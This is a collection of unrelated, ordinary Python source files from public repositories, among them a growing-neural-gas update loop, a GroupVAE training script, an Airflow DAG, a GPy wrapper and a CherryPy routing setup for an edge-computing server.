GNG graph nearest = self.__find_nearest_vertices(data_vect, n_vertex=2) # Update the winner vertex error value vertex_a_key = nearest[0][0] vertex_a_dist = nearest[0][1] error = self.__get_vertex_param(key=vertex_a_key, param_key='error') error += vertex_a_dist ** 2 self.__set_vertex_param(key=vertex_a_key, error=error) # Update winner vertex feature vector vertex_vect = self.__get_vertex_param(key=vertex_a_key, param_key='feature_vector') vertex_vect = vertex_vect + winner_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_a_key, feature_vector=vertex_vect) # Update winner's neighbor vertices neighbor_vertices = self.__get_neighbor_vertices(vertex_a_key) for vertex_b_key in neighbor_vertices: # Update vectors vertex_vect = self.__get_vertex_param(key=vertex_b_key, param_key='feature_vector') vertex_vect = vertex_vect + neighbor_upd_coeff * (data_vect - vertex_vect) self.__set_vertex_param(key=vertex_b_key, feature_vector=vertex_vect) # Update edge ages edge_age = self.__get_edge_param(vertex_a_key, vertex_b_key, 'age') edge_age += 1 self.__set_edge_param(vertex_a_key, vertex_b_key, age=edge_age) # Update the second nearest vertex vertex_b_key = nearest[1][0] vertex_b_dist = nearest[1][1] if vertex_b_key not in neighbor_vertices: # Add edge if it doesn't exist yet self.__add_edge(vertex_a_key, vertex_b_key) else: # Set edge age to zero self.__set_edge_param(vertex_a_key, vertex_b_key, age=0) #pass # Delete too old edges self.__delete_expired_edges(edge_age_limit) # Delete vertices with no edges self.__delete_unconnected_vertices() # Add new vertex if (iteration % vertex_insert_interval == 0) and (self.n_vertex < max_vertex): # Get vertex with largest error value search_result = self.__find_largest_error_vertex() vertex_a_key = search_result[0] vertex_a_error = search_result[1] vertex_a_vect = self.__get_vertex_param(vertex_a_key, 'feature_vector') # Get the neighbor with largest error neighbor_result = self.__find_largest_error_neighbor(vertex_a_key) vertex_b_key = neighbor_result[0] vertex_b_error = neighbor_result[1] vertex_b_vect = self.__get_vertex_param(vertex_b_key, 'feature_vector') # Calculate new error values new_a_error = vertex_a_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_a_key, error=new_a_error) new_b_error = vertex_b_error * vertex_insert_error_scaling self.__set_vertex_param(vertex_b_key, error=new_b_error) # Setup new vertex new_vertex_vector = (vertex_a_vect + vertex_b_vect) / 2 new_vertex_error = new_a_error new_vertex_key = self.__add_vertex(new_vertex_vector) self.__set_vertex_param(new_vertex_key, error=new_vertex_error) # Rearrange the edges self.__delete_edge(vertex_a_key, vertex_b_key) self.__add_edge(new_vertex_key, vertex_a_key) self.__add_edge(new_vertex_key, vertex_b_key) # Reduce all error values self.__scale_vertex_error_values(error_attenuation)

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setup.py

abeerupadhyay/py-redismutex

3

1610123

<reponame>abeerupadhyay/py-redismutex<filename>setup.py<gh_stars>1-10 import os from setuptools import find_packages, setup with open(os.path.join(os.path.dirname(__file__), 'VERSION')) as version: VERSION = version.read().strip() setup( name="redismutex", version=VERSION, description="Python implementation of mutex using redis", url="https://github.com/esquarer/py-redismutex", author="<NAME>", author_email="<EMAIL>", license='MIT', keywords="python redis mutex", packages=find_packages(exclude=['docs', 'tests*']), install_requires=[ 'future==0.16.0', 'redis==2.10.6' ], project_urls={ 'Source': 'https://github.com/esquarer/py-redismutex/', 'Documentation': 'http://py-redismutex.readthedocs.io/en/latest/', 'Tracker': 'https://github.com/esquarer/py-redismutex/issues/', }, classifiers=[ 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', ] )

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zemberek/morphology/morphotactics/attribute_to_surface_cache.py

Loodos/zemberek-python

52

59686

from threading import Lock from typing import Dict, Set, Union from zemberek.core.turkish.phonetic_attribute import PhoneticAttribute class AttributeToSurfaceCache: def __init__(self): self.attribute_map: Dict[int, str] = {} self.lock = Lock() def add_surface(self, attributes: Set[PhoneticAttribute], surface: str): """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :param surface: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() with self.lock: self.attribute_map[hash(key_string)] = surface def get_surface(self, attributes: Set[PhoneticAttribute]) -> Union[str, None]: """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() return self.attribute_map.get(hash(key_string))

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main.py

zhuxinqimac/Ramiel

0

145447

<reponame>zhuxinqimac/Ramiel #!/usr/bin/python #-*- coding: utf-8 -*- # >.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>. # Licensed under the Apache License, Version 2.0 (the "License") # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # --- File Name: main.py # --- Creation Date: 07-09-2020 # --- Last Modified: Sat 19 Sep 2020 00:23:02 AEST # --- Author: <NAME> # .<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.< """ Main training for GroupVAE. Code borrowed from disentanglement_lib. """ # We group all the imports at the top. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys # Insert disentanglement_lib to path. sys.path.insert( 0, os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'disentanglement_lib')) from disentanglement_lib.config import reproduce from disentanglement_lib.evaluation import evaluate from disentanglement_lib.evaluation.metrics import utils from disentanglement_lib.methods.unsupervised import train from disentanglement_lib.methods.unsupervised import vae from disentanglement_lib.postprocessing import postprocess from disentanglement_lib.utils import aggregate_results from disentanglement_lib.visualize import visualize_model from disentanglement_lib.utils import resources import argparse import glob import numpy as np import tensorflow.compat.v1 as tf import gin.tf from models import GroupVAE from architectures import group_conv_encoder, group_deconv_decoder from utils import _str_to_bool def main(): parser = argparse.ArgumentParser(description='Project description.') parser.add_argument('--result_dir', help='Results directory.', type=str, default='/mnt/hdd/repo_results/Ramiel/sweep') parser.add_argument('--study', help='Name of the study.', type=str, default='unsupervised_study_v1') parser.add_argument('--model_gin', help='Name of the gin config.', type=str, default='test_model.gin') parser.add_argument('--model_name', help='Name of the model.', type=str, default='GroupVAE') parser.add_argument('--vae_beta', help='Beta-VAE beta.', type=str, default='1') parser.add_argument('--hyps', help='Hyperparameters of rec_mat_oth_spl_seed.', type=str, default='1_1_1_1_1_0') parser.add_argument('--overwrite', help='Whether to overwrite output directory.', type=_str_to_bool, default=False) parser.add_argument('--dataset', help='Dataset.', type=str, default='dsprites_full') parser.add_argument('--recons_type', help='Reconstruction loss type.', type=str, default='bernoulli_loss') args = parser.parse_args() # 1. Settings study = reproduce.STUDIES[args.study] args.hyps = args.hyps.split('_') print() study.print_postprocess_config() print() study.print_eval_config() gpus = tf.config.experimental.list_physical_devices('GPU') if gpus: try: # Currently, memory growth needs to be the same across GPUs for gpu in gpus: tf.config.experimental.set_memory_growth(gpu, True) logical_gpus = tf.config.experimental.list_logical_devices('GPU') print(len(gpus), "Physical GPUs,", len(logical_gpus), "Logical GPUs") except RuntimeError as e: # Memory growth must be set before GPUs have been initialized print(e) # Call training module to train the custom model. if args.model_name == "GroupVAE": dir_name = "GroupVAE-" + "-".join(args.hyps) elif args.model_name == "vae": dir_name = "LieVAE-" + args.vae_beta + "-" + args.hyps[5] output_directory = os.path.join(args.result_dir, dir_name) model_dir = os.path.join(output_directory, "model") gin_bindings = [ "model.model = @" + args.model_name + "()", "vae.beta = " + args.vae_beta, "GroupVAE.hy_rec = " + args.hyps[0], "GroupVAE.hy_mat = " + args.hyps[1], "GroupVAE.hy_oth = " + args.hyps[2], "GroupVAE.hy_spl = " + args.hyps[3], "GroupVAE.hy_ncut = " + args.hyps[4], "model.random_seed = " + args.hyps[5], "dataset.name = '" + args.dataset + "'", "reconstruction_loss.loss_fn = @" + args.recons_type ] train.train_with_gin(model_dir, args.overwrite, [args.model_gin], gin_bindings) # We fix the random seed for the postprocessing and evaluation steps (each # config gets a different but reproducible seed derived from a master seed of # 0). The model seed was set via the gin bindings and configs of the study. random_state = np.random.RandomState(0) # We extract the different representations and save them to disk. postprocess_config_files = sorted(study.get_postprocess_config_files()) for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") print("Extracting representation " + post_name + "...") post_dir = os.path.join(output_directory, "postprocessed", post_name) postprocess_bindings = [ "postprocess.random_seed = {}".format(random_state.randint(2**32)), "postprocess.name = '{}'".format(post_name) ] postprocess.postprocess_with_gin(model_dir, post_dir, args.overwrite, [config], postprocess_bindings) # Iterate through the disentanglement metrics. eval_configs = sorted(study.get_eval_config_files()) blacklist = ['downstream_task_logistic_regression.gin'] # blacklist = [ # 'downstream_task_logistic_regression.gin', 'beta_vae_sklearn.gin', # 'dci.gin', 'downstream_task_boosted_trees.gin', 'mig.gin', # 'modularity_explicitness.gin', 'sap_score.gin', 'unsupervised.gin' # ] for config in postprocess_config_files: post_name = os.path.basename(config).replace(".gin", "") post_dir = os.path.join(output_directory, "postprocessed", post_name) # Now, we compute all the specified scores. for gin_eval_config in eval_configs: if os.path.basename(gin_eval_config) not in blacklist: metric_name = os.path.basename(gin_eval_config).replace( ".gin", "") print("Computing metric " + metric_name + " on " + post_name + "...") metric_dir = os.path.join(output_directory, "metrics", post_name, metric_name) eval_bindings = [ "evaluation.random_seed = {}".format( random_state.randint(2**32)), "evaluation.name = '{}'".format(metric_name) ] evaluate.evaluate_with_gin(post_dir, metric_dir, args.overwrite, [gin_eval_config], eval_bindings) # We visualize reconstructions, samples and latent space traversals. visualize_dir = os.path.join(output_directory, "visualizations") visualize_model.visualize(model_dir, visualize_dir, args.overwrite) if __name__ == "__main__": main()

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Programming/simple_programming/fancy_count.py

NovusEdge/CTFLearn_Writeups

0

143721

from time import time def count_stuff(): flag = "" f = open("data.dat", "r"); data = f.read().split("\n") check_zeros = lambda x: x.count('0') % 3 == 0 check_ones = lambda x: x.count('1') % 2 == 0 checked_data = [ line for line in data if (check_ones(line) or check_zeros(line)) and line ] f.close() return len(checked_data) if __name__ == '__main__': start = time() print(f"Flag: {count_stuff()}") print(f"Time Taken: { time() - start }")

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example_dag.py

grecoe/apache-airflow-dag

0

156612

<filename>example_dag.py<gh_stars>0 # Copyright (c) Microsoft Corporation. All rights reserved. # # Licensed under Microsoft Incubation License Agreement: import os import logging from datetime import datetime, timedelta from dagcontext.airflowutil.varloader import AirflowVarialbeLoader from dagcontext.configurations.constants import Constants from dagcontext.configurations.env_config import EnvironmentConfiguration from tasks.exampletasks import ExampleTasks # Import the right objects based on airflow version 2.2.1 vs 1.10.12 from airflow import DAG try: from airflow.operators.python import PythonOperator except Exception as ex: # pylint: disable=broad-except from airflow.operators.python_operator import PythonOperator log = logging.getLogger(__name__) with DAG( dag_id="context_example", schedule_interval=None, start_date=datetime(2021, 1, 1), catchup=False, dagrun_timeout=timedelta(minutes=60), tags=["demo"], params={"OAK": "Examples"}, ) as dag: # Load up the deployment details for processing environment_config = EnvironmentConfiguration( # Anything you want to load from the os.environ settings environment_variables= [ Constants.OAK_IDENTITY.IDENTITY_ENDPOINT, Constants.OAK_IDENTITY.IDENTITY_HEADER, Constants.OAK_IDENTITY.OAK_HOST ], # Anything you want to load from Airflow variables variable_loader = AirflowVarialbeLoader(), airflow_variables = [ Constants.AIRFLOW_VARS.COGSRCH_SEARCH_INSTANCES ], ) # Set up paths because we'll use them for logging, activity log, xcom passing # where payload > 64KB airlfow_folder = os.getcwd() dag_folder = os.path.join(airlfow_folder, "dags") temp_folder = os.path.join(dag_folder, "tmp/example") if not os.path.exists(temp_folder): os.makedirs(temp_folder) environment_config.update_config(Constants.ENVIRONMENT.WORKING_DIRECTORY, airlfow_folder) environment_config.update_config(Constants.ENVIRONMENT.DAG_DIRECTORY, dag_folder) environment_config.update_config(Constants.ENVIRONMENT.TEMP_DIRECTORY, temp_folder) # Show Context and Get some data show_context = PythonOperator( task_id="show_context", python_callable=ExampleTasks.show_context, op_kwargs=environment_config.get_config(), provide_context=True, ) settings = environment_config.get_config( { Constants.AIRFLOW_CTX.XCOM_TARGET: ["show_context"] } ) consume_xcom = PythonOperator( task_id="consume_xcom", python_callable=ExampleTasks.consume_xcom, op_kwargs=settings, provide_context=True, ) # Dag Flow show_context >> consume_xcom

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rasa/version.py

harada4atsushi/rasa

1

1607890

<filename>rasa/version.py<gh_stars>1-10 # this file will automatically be changed, # do not add anything but the version number here! __version__ = "1.10.0"

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src/filetools/cli.py

ownport/filemeta

1

1600373

<filename>src/filetools/cli.py<gh_stars>1-10 import os import sys import logging import argparse from filetools import utils from filetools.cleaner import Cleaner from filetools.reporter import Reporter from filetools.scanner import Scanner from filetools.version import version FILETOOLS_USAGE = '''filetools <command> [<args>] The list of commands: stats collect statistics about files in the directory scan scan files into the directory for metadata cleanup removing files, renaming info collect metedata from the file ''' logger = logging.getLogger(__name__) class CLI(): def __init__(self): parser = argparse.ArgumentParser(usage=FILETOOLS_USAGE) parser.add_argument('-v', '--version', action='version', version='filetools-v{}'.format(version)) parser.add_argument('-l', '--log_level', default='DEBUG', help='Log level: DEBUG, INFO, WARNING, ERROR, CRITICAL') parser.add_argument('command', help='Subcommand to run') args = parser.parse_args(sys.argv[1:2]) if not hasattr(self, args.command): print('Unrecognized command: %s' % args.command) sys.exit(1) logging.basicConfig(level=logging.DEBUG, format="%(asctime)s (%(name)s) [%(levelname)s] %(message)s") # use dispatch pattern to invoke method with same name getattr(self, args.command)() @staticmethod def scan(): ''' scan directory for collecting files metadata ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--output-type', dest='output_type', choices=['jsonline', 'sqlite3'], help="the output type") parser.add_argument('--output-file', dest='output_file', help="the path output file for storing metadata") parser.add_argument('--ignore-tag', dest='ignore_tags', action='append', help='the tags for ignoring') _args = parser.parse_args(sys.argv[2:]) try: scanner = Scanner(_args.path, _args.output_type, _args.output_file, _args.ignore_tags) scanner.scan_files() scanner.close() except Exception as err: logger.error(err) @staticmethod def stats(): ''' scan directory for collection general stats about files ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--sort-by', dest='sort_by', default='size', choices=['files', 'size'], help="sort output by number or files or size, default: size") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) reporter = Reporter(args.path) reporter.print_general_stats() reporter.print_file_extension_stats(args.sort_by) @staticmethod def cleanup(): ''' cleanup filenames according to predefined rules Rules: - extensions shall be in lower case ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--use-lower-case-in-file-ext', action='store_true', default=False, help="use lower case in file extensions, default: False") parser.add_argument('--remove-broken-files', action='store_true', default=False, help="remove broken files") parser.add_argument('--remove-empty-files', action='store_true', default=False, help="remove empty files") parser.add_argument('--remove-empty-directories', action='store_true', default=False, help="remove empty directories") parser.add_argument('--force', action='store_true', default=False, help="apply forced action, default: False") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) cleaner = Cleaner(args.path) if args.use_lower_case_in_file_ext: cleaner.use_lower_case_in_file_ext(args.force) if args.remove_broken_files: cleaner.remove_broken_files(args.force) if args.remove_empty_files: cleaner.remove_empty_files(args.force) if args.remove_empty_directories: cleaner.remove_empty_directories(args.force) @staticmethod def info(): logger.warning('Not implemented yet')

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script/generate-matcher.py

BrianHicks/elm-grapheme

25

138658

#!/usr/bin/env python import argparse import json import os.path as path import sys parser = argparse.ArgumentParser() parser.add_argument('destination') args = parser.parse_args() classes = json.load(sys.stdin) module = args.destination[len('src/'):-len('.elm')].replace('/', '.') class_ = module.split('.')[-1] if class_ not in classes: print('{} not in classes!'.format(class_)) sys.exit(1) out = [] out.append('module {} exposing (chars, match)'.format(module)) out.append('') out.append('{-| Hey, this module was generated automatically. Please don\'t edit it.') out.append('') out.append('Run `make {}` instead!'.format(args.destination)) out.append('') out.append('-}') out.append('') out.append('import String.Graphemes.Data as Data') out.append('import String.Graphemes.RangeDict as RangeDict exposing (RangeDict)') out.append('import String.Graphemes.RangeDict.Range as Range exposing (Range)') out.append('') out.append('') out.append('match : Char -> Bool') out.append('match c =') out.append(' RangeDict.member c chars') out.append('') out.append('') # CHARS chars = [] def elm_char(char): if char == '\n': return '\\n' elif char == '\r': return '\\r' elif char == '"': return '\\"' elif char == '\\': return '\\\\' elif class_ == 'Control': return '\\u{%s}' % hex(ord(char))[2:].zfill(4) else: return char for (i, match) in enumerate(classes[class_]): if match['kind'] == 'range': chars.append('2{}{}'.format(elm_char(match['start']), elm_char(match['end']))) elif match['kind'] == 'single': chars.append('1{}'.format(elm_char(match['codepoint']))) else: print('I don\'t know how to handle a "{}"!'.format(match['kind'])) sys.exit(1) out.append('chars : RangeDict Char Data.Class') out.append('chars =') out.append(' (Result.withDefault RangeDict.empty << Data.parser Data.{})'.format( class_.replace('_', ''), )) out.append(' "{}"'.format(''.join(chars))) # write out the final result with open(args.destination, 'w') as fh: fh.write('\n'.join(out))

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Sampling/gp/GPy_wrapper.py

josephhic/AutoDot

7

28001

import numpy as np import GPy from .GP_interface import GPInterface, convert_lengthscale, convert_2D_format class GPyWrapper(GPInterface): def __init__(self): # GPy settings GPy.plotting.change_plotting_library("matplotlib") # use matpoltlib for drawing super().__init__() self.center = 0.0 def create_kernel(self, ndim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if kernel_name == 'Matern52': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.Matern52(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') elif kernel_name == 'RBF': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.RBF(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') else: raise ValueError('Unsupported kernel: '+ kernel_name) self.ndim = ndim self.kernel = kernel if const_kernel: self.kernel += GPy.kern.Bias(1.0) self.stat_kernel = self.kernel.basic else: self.stat_kernel = self.kernel def set_kernel_length_prior(self, prior_mean, prior_var): if self.ndim != len(prior_mean) or self.ndim != len(prior_var): raise ValueError('Incorrect kernel prior parameters.') if self.kernel is None: raise ValueError('Kernel should be defined first.') for i in range(self.ndim): self.stat_kernel.lengthscale[[i]].set_prior(GPy.priors.Gamma.from_EV(prior_mean[i],prior_var[i])) # don't know why, but [i] does not work def set_kernel_var_prior(self, prior_mean, prior_var): self.stat_kernel.variance.set_prior(GPy.priors.Gamma.from_EV(prior_mean,prior_var)) def fix_kernel_lengthscale(self): self.stat_kernel.lengthscale.fix() def fix_kernel_var(self): self.stat_kernel.variance.fix() def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center self.outdim = y.shape[1] noise_var = np.array(noise_var) if noise_var.ndim == 0: self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) noise = self.model.Gaussian_noise else: assert noise_var.shape == y.shape self.model = GPy.models.GPHeteroscedasticRegression(x, y, self.kernel) self.model['.*het_Gauss.variance'] = noise_var noise = self.model.het_Gauss.variance if noise_prior == 'fixed': noise.fix() else: raise ValueError('Not Implemented yet.') def predict_f(self, x, full_cov=False): ''' Returns: posterior mean, posterior variance ''' x = convert_2D_format(x) post_mean, post_var = self.model.predict_noiseless(x, full_cov=full_cov) if self.outdim > 1: post_var = np.concatenate([post_var]*self.outdim, axis=-1) return post_mean + self.center, post_var def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. ''' x = convert_2D_format(x) m, v = self.model.predict(x) v = np.clip(v, 1e-10, np.inf) dmdx, dvdx = self.model.predictive_gradients(x) dmdx = dmdx[:,:,0] dsdx = dvdx / (2*np.sqrt(v)) return m + self.center, np.sqrt(v), dmdx, dsdx def posterior_sample_f(self, x, size = 10): ''' Parameters x: (Nnew x input_dim) Returns (Nnew x output_dim x samples) ''' return self.model.posterior_samples_f(x, size) + self.center def optimize(self, num_restarts=30, opt_messages=False, print_result=True, parallel=False): self.model.optimize_restarts(num_restarts=num_restarts, robust=True, parallel=False, messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) print(self.stat_kernel.variance) class GPyWrapper_Classifier(GPyWrapper): def create_model(self, x, y): assert self.center == 0.0 x = convert_2D_format(x) y = convert_2D_format(y) self.outdim = y.shape[1] self.model = GPy.models.GPClassification(x, y, self.kernel) def predict_prob(self, x): x = convert_2D_format(x) prob = self.model.predict(x, full_cov=False)[0] return prob def optimize(self, maxiter=1000, opt_messages=False, print_result=True): for i in range(5): self.model.optimize(max_iters=int(maxiter/5), messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) class GPyWrapper_MultiSeparate(object): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if isinstance(kernel_name, str): kernel_name = [kernel_name]*outdim if np.isscalar(var_f): var_f = np.ones(outdim) * var_f if np.isscalar(lengthscale): var_f = np.ones(outdim) * lengthscale if isinstance(const_kernel, bool): const_kernel = [const_kernel]*outdim self.gp_list = list() for i in range(outdim): gp = GPyWrapper() gp.create_kernel(ndim, kernel_name[i], var_f[i], lengthscale[i], const_kernel[i]) self.gp_list.append(gp) self.outdim = outdim def set_kernel_length_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_length_prior(prior_mean, prior_var) def set_kernel_var_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_var_prior(prior_mean, prior_var) def fix_kernel_lengthscale(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_lengthscale() def fix_kernel_var(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_var() def create_model(self, x, y, noise_var, noise_prior='fixed'): if not (y.ndim == 2 and y.shape[1] == self.outdim): raise ValueError('Incorrect data shape.') noise_var = np.array(noise_var) for i in range(self.outdim): if noise_var.ndim == 2 and noise_var.shape[1] == self.outdim: noise_var_i = noise_var[:, i:i+1] else: noise_var_i = noise_var gp = self.gp_list[i] gp.create_model(x, y[:,i:i+1], noise_var_i, noise_prior) def predict_f(self, x, full_cov=False): post_mean_all = list() post_var_all = list() for i in range(self.outdim): post_mean, post_var = self.gp_list[i].predict_f(x, full_cov) post_mean_all.append(post_mean) post_var_all.append(post_var) return np.concatenate(post_mean_all,axis=-1), np.concatenate(post_var_all,axis=-1) def posterior_sample_f(self, x, size = 10): post_samples_all = list() for i in range(self.outdim): post_samples = self.gp_list[i].predict_f(x, full_cov) post_samples_all.append(post_samples) return np.concatenate(post_samples_all,axis=1) def optimize(self, num_restarts=30, opt_messages=False, print_result=False): for i in range(self.outdim): self.gp_list[i].optimize(num_restarts, opt_messages, print_result) def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. m_all: (num_x, outdim) std_all: (num_x, outdim) dmdx_all: (num_x, outdim, n_dim) dsdx_all: (num_x, outdim, n_dim) ''' m_all, std_all, dmdx_all, dsdx_all = [], [], [], [] for i in range(self.outdim): m, std, dmdx, dsdx = self.gp_list[i].predict_withGradients(x) m_all.append(m) std_all.append(std) dmdx_all.append(dmdx) dsdx_all.append(dsdx) return np.concatenate(m_all,axis=-1), np.concatenate(std_all,axis=-1), np.stack(dmdx_all,axis=1), np.stack(dsdx_all,axis=1) class GPyWrapper_MultiIndep(GPyWrapper): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): super().create_kernel(ndim, kernel_name, var_f, lengthscale, const_kernel) k_multi = GPy.kern.IndependentOutputs([self.kernel, self.kernel.copy()]) #icm = GPy.util.multioutput.ICM(input_dim=ndim, num_outputs=outdim, kernel=self.kernel) #icm.B.W.constrain_fixed(0) # fix W matrix to 0 if const_kernel: self.stat_kernel = k_multi.sum.basic else: self.stat_kernel = k_multi.basic self.kernel = k_multi print(self.kernel) def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center numdata = x.shape[0] outdim = y.shape[1] indim = x.shape[1] yy = y.transpose().ravel() ind = np.concatenate([ o*np.ones(numdata) for o in range(outdim)]) xx = np.concatenate([x]*outdim) xx = np.concatenate((xx,ind[:,np.newaxis]), axis=1) print(xx.shape, yy.shape) self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) if noise_prior == 'fixed': self.model.Gaussian_noise.fix() else: raise ValueError('Not Implemented yet.') def create_GP(num_active_gates, outdim, k_name='Matern52', var_f=1.0, lengthscale=1.0, center=0.0): if np.isscalar(lengthscale): lengthscale = np.ones(num_active_gates) gp = GPyWrapper() # initialize GP environment #gp = GPyWrapper_MultiIndep() # initialize GP environment gp.center = center # GP kernels gp.create_kernel(num_active_gates, k_name, var_f, lengthscale) #gp.create_kernel(num_active_gates, outdim, k_name, var_f, lengthscale) return gp def main(): X = np.arange(1,6).reshape((5,1)) f = lambda x : np.square(x-4.0) #Y = np.concatenate([f(X), -f(X)], axis=1) Y = np.concatenate([f(X)], axis=1) #noise_var = 0.01**2 #noise_var = np.concatenate([np.square(X / 10.)]*2, axis=1) noise_var = np.square(X / 10.) print(X.shape, Y.shape) gp = create_GP(1, 2, 'Matern52', 2.0, 1.0, 0.0) gp.create_model(X, Y, noise_var, noise_prior='fixed') gp.optimize() X_pred = np.linspace(1.,5.,10).reshape((-1,1)) mean, cov = gp.predict_f(X_pred) print(mean) #print(cov) ''' ### # GP Classification test ### X = np.arange(1,6).reshape((5,1)) Y = np.array([1.0, 1.0, 1.0, 0.0, 0.0]).reshape((5,1)) gpc = GPyWrapper_Classifier() gpc.create_kernel(1, 'RBF', 1.0, 1.0) gpc.create_model(X, Y) X_pred = np.linspace(1.,5.,10).reshape((-1,1)) print(gpc.predict_prob(X_pred)) print(gpc.model) gpc.optimize() print(gpc.predict_prob(X_pred)) print(gpc.model) ''' if __name__ == '__main__': main()

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finalProject_nknySystem/Project/NKNUSystemBackend/Tests/WebSocketTest/ServerUnitTest.py

JE-Chen/je_old_repo

3

1604404

<reponame>JE-Chen/je_old_repo<gh_stars>1-10 import sys import time import unittest import JEWebSocket class TestServer(unittest.TestCase): def tearDown(self) -> None: pass def setUp(self) -> None: pass def testServer(self): websocket = JEWebSocket.WebsocketServer("localhost", 5555) time.sleep(3)

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mepserver/main.py

ATNoG/netedge-mep

0

199523

# Copyright 2022 Instituto de Telecomunicações - Aveiro # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from mp1.service_mgmt.controllers.app_subscriptions_controller import ( ApplicationSubscriptionsController, ) from mp1.service_mgmt.controllers.app_services_controller import ( ApplicationServicesController, ) from mp1.service_mgmt.controllers.services_controller import ServicesController from mp1.service_mgmt.controllers.transports_controller import TransportsController # Application Support Controllers from mp1.application_support.controllers.app_confirmation_controller import ( ApplicationConfirmationController, ) from mp1.databases.database_base import DatabaseBase from mp1.databases.dbmongo import MongoDb from typing import Type import cherrypy import argparse from mp1.utils import check_port def main(database: Type[DatabaseBase]): ################################## # Application support interface # ################################## support_dispatcher = cherrypy.dispatch.RoutesDispatcher() ##################################### # Application ready and termination # ##################################### support_dispatcher.connect( name="Application Ready Notification", action="application_confirm_ready", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_ready", conditions=dict(method=["POST"]), ) support_dispatcher.connect( name="Application termination request", action="application_confirm_termination", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_termination", conditions=dict(method=["POST"]), ) ############################################# # Application service management interface # ############################################# mgmt_dispatcher = cherrypy.dispatch.RoutesDispatcher() # Todo load from config file ####################################### # Application Subscription Controller # ####################################### mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get_with_subscription_id", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create applicationInstanceId Subscriptions", action="applications_subscriptions_post", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Delete applicationInstanceID Subscriptions with subscriptionId", action="applications_subscriptions_delete", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["DELETE"]), ) ################################### # Application Services Controller # ################################### mgmt_dispatcher.connect( name="Get service from InstanceId and parameters", action="applications_services_get", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create service for InstanceId", action="applications_services_post", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Get service from InstanceId and ServiceId", action="applicaton_services_get_with_service_id", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["GET"]), ) 